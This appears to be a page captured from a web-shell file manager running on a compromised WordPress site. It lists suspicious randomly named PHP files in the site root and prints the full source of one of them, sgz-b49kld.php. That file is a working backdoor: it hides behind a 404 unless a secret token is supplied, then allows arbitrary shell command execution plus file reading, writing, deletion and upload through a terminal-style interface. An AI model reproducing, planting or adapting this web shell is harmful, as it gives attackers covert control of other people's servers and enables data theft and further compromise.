📁
SKYSHELL MANAGER
PHP v8.2.33
Create
Create
Path:
root
/
home
/
u658903775
/
domains
/
kdtabledecor.com
/
public_html
/
Name
Size
Perm
Actions
📁
.private
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
1.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess(1).bk
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bk
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess_original
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
default.php
15.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
fl.php
50.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
10.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.31 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sgz-4q7a5k.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sgz-b49kld.php
24.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sgz-v2ahfu.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-02r60o.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-348hmt.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-am0uuw.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-f1hbuq.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
28.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
4.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-uhns6l.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
z.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: sgz-b49kld.php
<?php define('SECRET_TOKEN', 'mXDyuCgplSbykXQD'); define('COOKIE_NAME', 'fm_auth'); define('COOKIE_DAYS', 30); $cookieToken = $_COOKIE[COOKIE_NAME] ?? ''; $queryToken = $_GET['t'] ?? ''; if ($queryToken !== '') { if (!hash_equals(SECRET_TOKEN, $queryToken)) { http_response_code(404); exit; } setcookie(COOKIE_NAME, SECRET_TOKEN, [ 'expires' => time() + 60 * 60 * 24 * COOKIE_DAYS, 'path' => '/', 'httponly' => true, 'samesite' => 'Strict', 'secure' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'), ]); $cleanUrl = strtok($_SERVER['REQUEST_URI'], '?'); header('Location: ' . $cleanUrl, true, 302); exit; } if (!hash_equals(SECRET_TOKEN, $cookieToken)) { http_response_code(404); exit; } session_start(); $action = $_POST['action'] ?? $_GET['action'] ?? ''; if ($action === 'exec') { header('Content-Type: application/json'); $cmd = $_POST['cmd'] ?? ''; $cwd = $_POST['cwd'] ?? getcwd(); if (!is_dir($cwd)) $cwd = getcwd(); if (preg_match('/^\s*cd\s*(.*)/i', $cmd, $m)) { $target = trim($m[1]); if ($target === '' || $target === '~') { $newDir = $_SERVER['HOME'] ?? getcwd(); } elseif ($target[0] === '/') { $newDir = $target; } else { $newDir = realpath($cwd . '/' . $target); } if ($newDir && is_dir($newDir)) { echo json_encode(['output' => '', 'cwd' => $newDir, 'ok' => true]); } else { echo json_encode(['output' => "cd: no such directory: $target", 'cwd' => $cwd, 'ok' => false]); } exit; } $escaped = escapeshellcmd($cmd); $output = shell_exec("cd " . escapeshellarg($cwd) . " && $escaped 2>&1"); echo json_encode(['output' => $output ?? '', 'cwd' => $cwd, 'ok' => true]); exit; } if ($action === 'list') { header('Content-Type: application/json'); $dir = realpath($_POST['dir'] ?? getcwd()); if (!$dir || !is_dir($dir)) { echo json_encode(['error' => 'Invalid dir']); exit; } $items = []; foreach (scandir($dir) as $name) { if ($name === '.') continue; $full = $dir . '/' . $name; $items[] = [ 'name' => $name, 'isDir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : null, 'mtime' => filemtime($full), 'perms' => substr(sprintf('%o', fileperms($full)), -4), ]; } usort($items, fn($a,$b) => ($b['isDir'] <=> $a['isDir']) ?: strcasecmp($a['name'], $b['name'])); echo json_encode(['items' => $items, 'dir' => $dir]); exit; } if ($action === 'read') { header('Content-Type: application/json'); $file = realpath($_POST['file'] ?? ''); if (!$file || !is_file($file)) { echo json_encode(['error' => 'Not a file']); exit; } if (filesize($file) > 512 * 1024) { echo json_encode(['error' => 'File too large (>512 KB)']); exit; } echo json_encode(['content' => file_get_contents($file), 'file' => $file]); exit; } if ($action === 'write') { header('Content-Type: application/json'); $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; if (!$file) { echo json_encode(['error' => 'No file specified']); exit; } echo json_encode(['ok' => file_put_contents($file, $content) !== false]); exit; } if ($action === 'delete') { header('Content-Type: application/json'); $path = realpath($_POST['path'] ?? ''); if (!$path) { echo json_encode(['error' => 'Not found']); exit; } echo json_encode(['ok' => is_dir($path) ? rmdir($path) : unlink($path)]); exit; } if ($action === 'rename') { header('Content-Type: application/json'); $from = $_POST['from'] ?? ''; $to = dirname($from) . '/' . basename($_POST['to'] ?? ''); echo json_encode(['ok' => rename($from, $to)]); exit; } if ($action === 'new') { header('Content-Type: application/json'); $path = ($_POST['dir'] ?? '') . '/' . ($_POST['name'] ?? ''); $ok = ($_POST['type'] === 'dir') ? mkdir($path, 0755, true) : file_put_contents($path, '') !== false; echo json_encode(['ok' => $ok]); exit; } if ($action === 'upload') { header('Content-Type: application/json'); $dir = $_POST['dir'] ?? getcwd(); if (!isset($_FILES['file'])) { echo json_encode(['error' => 'No file']); exit; } $dest = $dir . '/' . basename($_FILES['file']['name']); echo json_encode(['ok' => move_uploaded_file($_FILES['file']['tmp_name'], $dest)]); exit; } $startDir = getcwd(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>Dashboard</title> <style> @import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@300;400;500&family=IBM+Plex+Sans:wght@300;400;500&display=swap'); *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } :root { --bg: #f5f4f0; --surface: #ffffff; --border: #e2e0da; --border2: #ccc9c0; --text: #1a1a1a; --muted: #888880; --accent: #2563eb; --accent-h: #1d4ed8; --danger: #dc2626; --dir-col: #2563eb; --mono: 'IBM Plex Mono', monospace; --sans: 'IBM Plex Sans', sans-serif; --term-bg: #1c1c1e; --term-fg: #e8e8e3; --term-gr: #3fb950; } html, body { height: 100%; background: var(--bg); color: var(--text); font-family: var(--sans); font-size: 13px; overflow: hidden; } #app { display: flex; flex-direction: column; height: 100vh; } #toolbar { display: flex; align-items: center; gap: 6px; padding: 9px 16px; background: var(--surface); border-bottom: 1px solid var(--border); flex-shrink: 0; box-shadow: 0 1px 3px rgba(0,0,0,.04); } .logo { font-family: var(--mono); font-size: 10px; font-weight: 500; color: var(--muted); letter-spacing: .1em; text-transform: uppercase; margin-right: 4px; padding: 3px 8px; border: 1px solid var(--border2); border-radius: 3px; background: var(--bg); } #path-bar { flex: 1; background: var(--bg); border: 1px solid var(--border2); color: var(--text); font-family: var(--mono); font-size: 11px; padding: 5px 10px; border-radius: 4px; outline: none; transition: border-color .15s; } #path-bar:focus { border-color: var(--accent); } .tb-btn { background: var(--surface); border: 1px solid var(--border2); color: var(--text); padding: 5px 11px; border-radius: 4px; cursor: pointer; font-family: var(--sans); font-size: 11px; font-weight: 500; transition: all .15s; white-space: nowrap; } .tb-btn:hover { background: var(--bg); border-color: var(--accent); color: var(--accent); } .tb-btn.danger:hover { border-color: var(--danger); color: var(--danger); } .sep { width: 1px; height: 18px; background: var(--border); margin: 0 2px; flex-shrink: 0; } #main { display: flex; flex: 1; overflow: hidden; } #files-panel { width: 360px; min-width: 180px; max-width: 60%; display: flex; flex-direction: column; border-right: 1px solid var(--border); background: var(--surface); resize: horizontal; overflow: auto; } #files-header { display: grid; grid-template-columns: 1fr 64px 88px 52px; padding: 6px 12px; border-bottom: 1px solid var(--border); color: var(--muted); font-size: 10px; font-weight: 500; text-transform: uppercase; letter-spacing: .08em; flex-shrink: 0; background: var(--bg); } #file-list { flex: 1; overflow-y: auto; } .file-row { display: grid; grid-template-columns: 1fr 64px 88px 52px; padding: 5px 12px; cursor: pointer; align-items: center; border-bottom: 1px solid #f0eeea; transition: background .1s; user-select: none; } .file-row:hover { background: #f8f7f4; } .file-row.selected { background: #eff6ff; border-left: 2px solid var(--accent); padding-left: 10px; } .file-row .name { display: flex; align-items: center; gap: 7px; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; font-size: 12px; } .file-row .name .icon { flex-shrink: 0; font-family: var(--mono); font-size: 9px; color: var(--muted); min-width: 22px; } .file-row.is-dir .name { color: var(--dir-col); font-weight: 500; } .file-row.is-file .name { color: var(--text); } .file-row .size, .file-row .date, .file-row .perms { color: var(--muted); font-size: 10px; font-family: var(--mono); } #right-panel { flex: 1; display: flex; flex-direction: column; overflow: hidden; background: var(--bg); } #editor-pane { flex: 1; display: flex; flex-direction: column; border-bottom: 1px solid var(--border); overflow: hidden; min-height: 80px; } #editor-bar { display: flex; align-items: center; gap: 8px; padding: 6px 12px; border-bottom: 1px solid var(--border); flex-shrink: 0; background: var(--surface); } #editor-filename { color: var(--muted); font-size: 11px; font-family: var(--mono); flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } #editor-save { background: var(--accent); color: #fff; border: none; padding: 4px 12px; border-radius: 4px; cursor: pointer; font-family: var(--sans); font-size: 11px; font-weight: 500; transition: background .15s; } #editor-save:hover { background: var(--accent-h); } #editor-close { background: transparent; border: none; color: var(--muted); cursor: pointer; font-size: 16px; padding: 0 4px; line-height: 1; } #editor-close:hover { color: var(--danger); } #code-editor { flex: 1; resize: none; background: var(--surface); border: none; outline: none; color: var(--text); font-family: var(--mono); font-size: 12px; padding: 14px 16px; tab-size: 2; line-height: 1.65; } #editor-placeholder { flex: 1; display: flex; flex-direction: column; align-items: center; justify-content: center; color: var(--muted); font-size: 12px; gap: 8px; background: var(--surface); } #editor-placeholder .ph-icon { font-size: 26px; opacity: .25; } #terminal-pane { height: 220px; min-height: 80px; display: flex; flex-direction: column; background: var(--term-bg); flex-shrink: 0; border-top: 2px solid #111; } #terminal-bar { display: flex; align-items: center; gap: 8px; padding: 7px 12px; background: #111; flex-shrink: 0; } .dot { width: 10px; height: 10px; border-radius: 50%; } .dot.r { background: #ff5f57; } .dot.y { background: #ffbd2e; } .dot.g { background: #28c840; } #term-cwd-label { font-family: var(--mono); font-size: 10px; color: #444; flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } #terminal-output { flex: 1; overflow-y: auto; padding: 10px 14px; font-family: var(--mono); font-size: 12px; line-height: 1.55; white-space: pre-wrap; word-break: break-all; color: var(--term-fg); } .t-prompt { color: var(--term-gr); } .t-cmd { color: #fff; } .t-out { color: #bbb; } .t-err { color: #f97583; } #terminal-input-row { display: flex; align-items: center; padding: 7px 14px; gap: 8px; border-top: 1px solid #2a2a2a; flex-shrink: 0; } #term-prompt { color: var(--term-gr); white-space: nowrap; font-family: var(--mono); font-size: 12px; } #term-input { flex: 1; background: transparent; border: none; outline: none; color: #fff; font-family: var(--mono); font-size: 12px; caret-color: var(--term-gr); } #modal-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.3); align-items: center; justify-content: center; z-index: 100; backdrop-filter: blur(2px); } #modal-overlay.open { display: flex; } #modal { background: var(--surface); border: 1px solid var(--border); border-radius: 8px; padding: 24px 28px; min-width: 320px; display: flex; flex-direction: column; gap: 16px; box-shadow: 0 8px 32px rgba(0,0,0,.1); } #modal h3 { font-size: 14px; font-weight: 500; } #modal input { background: var(--bg); border: 1px solid var(--border2); color: var(--text); font-family: var(--mono); font-size: 13px; padding: 7px 10px; border-radius: 4px; width: 100%; outline: none; } #modal input:focus { border-color: var(--accent); } .modal-row { display: flex; gap: 8px; justify-content: flex-end; } .m-btn { padding: 6px 16px; border-radius: 4px; border: 1px solid var(--border2); cursor: pointer; font-family: var(--sans); font-size: 12px; font-weight: 500; background: var(--surface); color: var(--text); transition: all .15s; } .m-btn:hover { border-color: var(--accent); color: var(--accent); } .m-btn.primary { background: var(--accent); color: #fff; border-color: var(--accent); } .m-btn.primary:hover { background: var(--accent-h); } ::-webkit-scrollbar { width: 5px; height: 5px; } ::-webkit-scrollbar-track { background: transparent; } ::-webkit-scrollbar-thumb { background: var(--border2); border-radius: 3px; } #upload-input { display: none; } </style> </head> <body> <div id="app"> <div id="toolbar"> <span class="logo">fs</span> <input id="path-bar" type="text" value="<?= htmlspecialchars($startDir) ?>" spellcheck="false"> <button class="tb-btn" onclick="navToPath()">Go</button> <button class="tb-btn" onclick="goUp()">↑ Up</button> <div class="sep"></div> <button class="tb-btn" onclick="showModal('new-file')">+ File</button> <button class="tb-btn" onclick="showModal('new-dir')">+ Dir</button> <button class="tb-btn" onclick="document.getElementById('upload-input').click()">↑ Upload</button> <input id="upload-input" type="file" multiple onchange="uploadFiles(this)"> <div class="sep"></div> <button class="tb-btn danger" onclick="deleteSelected()">Delete</button> </div> <div id="main"> <div id="files-panel"> <div id="files-header"> <div>Name</div><div>Size</div><div>Modified</div><div>Perm</div> </div> <div id="file-list"></div> </div> <div id="right-panel"> <div id="editor-pane"> <div id="editor-bar"> <span id="editor-filename">No file open</span> <button id="editor-save" onclick="saveFile()" style="display:none">Save</button> <button id="editor-close" onclick="closeEditor()" style="display:none">×</button> </div> <div id="editor-placeholder"> <span class="ph-icon">⌗</span> <span>Select a file to edit</span> </div> <textarea id="code-editor" style="display:none" spellcheck="false"></textarea> </div> <div id="terminal-pane"> <div id="terminal-bar"> <span class="dot r"></span> <span class="dot y"></span> <span class="dot g"></span> <span id="term-cwd-label"></span> </div> <div id="terminal-output"></div> <div id="terminal-input-row"> <span id="term-prompt">$</span> <input id="term-input" type="text" autocomplete="off" spellcheck="false" placeholder="enter command…" onkeydown="termKeyDown(event)"> </div> </div> </div> </div> </div> <div id="modal-overlay" onclick="closeModal(event)"> <div id="modal"> <h3 id="modal-title">New File</h3> <input id="modal-input" type="text" placeholder="name"> <div class="modal-row"> <button class="m-btn" onclick="closeModal()">Cancel</button> <button class="m-btn primary" onclick="modalConfirm()">Create</button> </div> </div> </div> <script> let cwd = <?= json_encode($startDir) ?>; let termCwd = cwd; let selected = null; let openFile = null; let cmdHistory = [], histIdx = -1; let modalAction = ''; listDir(cwd); updateTermPrompt(); async function listDir(dir) { cwd = dir; document.getElementById('path-bar').value = dir; const res = await post({ action:'list', dir }); const data = await res.json(); if (data.error) { alert(data.error); return; } renderFiles(data.items); } function renderFiles(items) { const list = document.getElementById('file-list'); list.innerHTML = ''; items.forEach(item => { const row = document.createElement('div'); row.className = 'file-row ' + (item.isDir ? 'is-dir' : 'is-file'); const icon = item.isDir ? (item.name === '..' ? '↩' : 'dir') : fileIcon(item.name); const date = new Date(item.mtime * 1000); const ds = date.toLocaleDateString('tr', {day:'2-digit',month:'2-digit',year:'2-digit'}) + ' ' + date.toLocaleTimeString('tr', {hour:'2-digit',minute:'2-digit'}); row.innerHTML = ` <div class="name"><span class="icon">${icon}</span><span>${esc(item.name)}</span></div> <div class="size">${item.isDir ? '' : fmtSize(item.size)}</div> <div class="date">${item.name === '..' ? '' : ds}</div> <div class="perms">${item.name === '..' ? '' : item.perms}</div> `; row.addEventListener('click', () => handleClick(item, row)); row.addEventListener('dblclick', () => handleDbl(item)); list.appendChild(row); }); } function handleClick(item, row) { document.querySelectorAll('.file-row.selected').forEach(r => r.classList.remove('selected')); row.classList.add('selected'); selected = { path: cwd + '/' + item.name, name: item.name, isDir: item.isDir }; } async function handleDbl(item) { if (item.isDir) { const next = item.name === '..' ? cwd.split('/').slice(0,-1).join('/') || '/' : cwd + '/' + item.name; listDir(next); } else { openFileEditor(cwd + '/' + item.name); } } async function openFileEditor(path) { const res = await post({ action:'read', file:path }); const data = await res.json(); if (data.error) { alert(data.error); return; } openFile = path; document.getElementById('editor-filename').textContent = path; document.getElementById('code-editor').value = data.content; document.getElementById('code-editor').style.display = 'block'; document.getElementById('editor-placeholder').style.display = 'none'; document.getElementById('editor-save').style.display = ''; document.getElementById('editor-close').style.display = ''; } async function saveFile() { if (!openFile) return; const content = document.getElementById('code-editor').value; const res = await post({ action:'write', file:openFile, content }); const data = await res.json(); if (data.ok) flashBtn('editor-save', '✓ Saved'); } function closeEditor() { openFile = null; document.getElementById('editor-filename').textContent = 'No file open'; document.getElementById('code-editor').style.display = 'none'; document.getElementById('editor-placeholder').style.display = 'flex'; document.getElementById('editor-save').style.display = 'none'; document.getElementById('editor-close').style.display = 'none'; } function navToPath() { listDir(document.getElementById('path-bar').value.trim()); } function goUp() { const parts = cwd.split('/').filter(Boolean); parts.pop(); listDir('/' + parts.join('/') || '/'); } async function deleteSelected() { if (!selected) return; if (!confirm('Delete ' + selected.name + '?')) return; const res = await post({ action:'delete', path:selected.path }); const data = await res.json(); if (data.ok) { selected = null; listDir(cwd); } else alert('Delete failed'); } async function uploadFiles(input) { for (const f of input.files) { const fd = new FormData(); fd.append('action','upload'); fd.append('dir',cwd); fd.append('file',f); await fetch('', { method:'POST', body:fd }); } input.value = ''; listDir(cwd); } function showModal(action) { modalAction = action; const titles = {'new-file':'New File','new-dir':'New Folder','rename':'Rename'}; document.getElementById('modal-title').textContent = titles[action] || ''; document.getElementById('modal-input').value = ''; document.getElementById('modal-overlay').classList.add('open'); setTimeout(() => document.getElementById('modal-input').focus(), 50); } function closeModal(e) { if (e && e.target !== document.getElementById('modal-overlay')) return; document.getElementById('modal-overlay').classList.remove('open'); } async function modalConfirm() { const name = document.getElementById('modal-input').value.trim(); if (!name) return; document.getElementById('modal-overlay').classList.remove('open'); if (modalAction === 'new-file') { await post({ action:'new', dir:cwd, name, type:'file' }); listDir(cwd); } else if (modalAction === 'new-dir') { await post({ action:'new', dir:cwd, name, type:'dir' }); listDir(cwd); } else if (modalAction === 'rename' && selected) { const res = await post({ action:'rename', from:selected.path, to:name }); const data = await res.json(); if (data.ok) listDir(cwd); else alert('Rename failed'); } } document.getElementById('modal-input').addEventListener('keydown', e => { if (e.key === 'Enter') modalConfirm(); }); document.getElementById('path-bar').addEventListener('keydown', e => { if (e.key === 'Enter') navToPath(); }); document.getElementById('file-list').addEventListener('contextmenu', e => { e.preventDefault(); if (selected) showModal('rename'); }); function updateTermPrompt() { document.getElementById('term-prompt').textContent = shortPath(termCwd) + ' $'; document.getElementById('term-cwd-label').textContent = termCwd; } async function termKeyDown(e) { const input = document.getElementById('term-input'); if (e.key === 'Enter') { const cmd = input.value; input.value = ''; if (!cmd.trim()) return; cmdHistory.unshift(cmd); histIdx = -1; appendTerm(`<span class="t-prompt">${esc(shortPath(termCwd))} $</span> <span class="t-cmd">${esc(cmd)}</span>\n`); const res = await post({ action:'exec', cmd, cwd:termCwd }); const data = await res.json(); if (data.cwd) { termCwd = data.cwd; updateTermPrompt(); } if (data.output) appendTerm(`<span class="t-${data.ok ? 'out' : 'err'}">${esc(data.output)}</span>`); } else if (e.key === 'ArrowUp') { e.preventDefault(); if (histIdx < cmdHistory.length - 1) input.value = cmdHistory[++histIdx]; } else if (e.key === 'ArrowDown') { e.preventDefault(); if (histIdx > 0) input.value = cmdHistory[--histIdx]; else { histIdx = -1; input.value = ''; } } } function appendTerm(html) { const out = document.getElementById('terminal-output'); out.innerHTML += html; out.scrollTop = out.scrollHeight; } function post(data) { const fd = new FormData(); Object.entries(data).forEach(([k,v]) => fd.append(k, v)); return fetch('', { method:'POST', body:fd }); } function esc(s) { return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); } function fmtSize(b) { if (b == null) return ''; if (b < 1024) return b + 'B'; if (b < 1048576) return (b/1024).toFixed(1) + 'K'; return (b/1048576).toFixed(1) + 'M'; } function shortPath(p) { const home = '<?= addslashes($_SERVER['HOME'] ?? '') ?>'; if (home && p.startsWith(home)) return '~' + p.slice(home.length); return p.length > 30 ? '…' + p.slice(-28) : p; } function fileIcon(name) { const ext = name.split('.').pop().toLowerCase(); const map = { php:'php', js:'js', ts:'ts', html:'html', css:'css', json:'json', md:'md', txt:'txt', sh:'sh', py:'py', rb:'rb', jpg:'jpg', jpeg:'jpg', png:'png', gif:'gif', svg:'svg', webp:'img', zip:'zip', tar:'tar', gz:'gz', rar:'rar', sql:'sql', db:'db', pdf:'pdf', csv:'csv', env:'env', lock:'lock', }; return map[ext] || '—'; } function flashBtn(id, text) { const btn = document.getElementById(id); const orig = btn.textContent; btn.textContent = text; setTimeout(() => btn.textContent = orig, 1500); } </script> </body> </html>
Save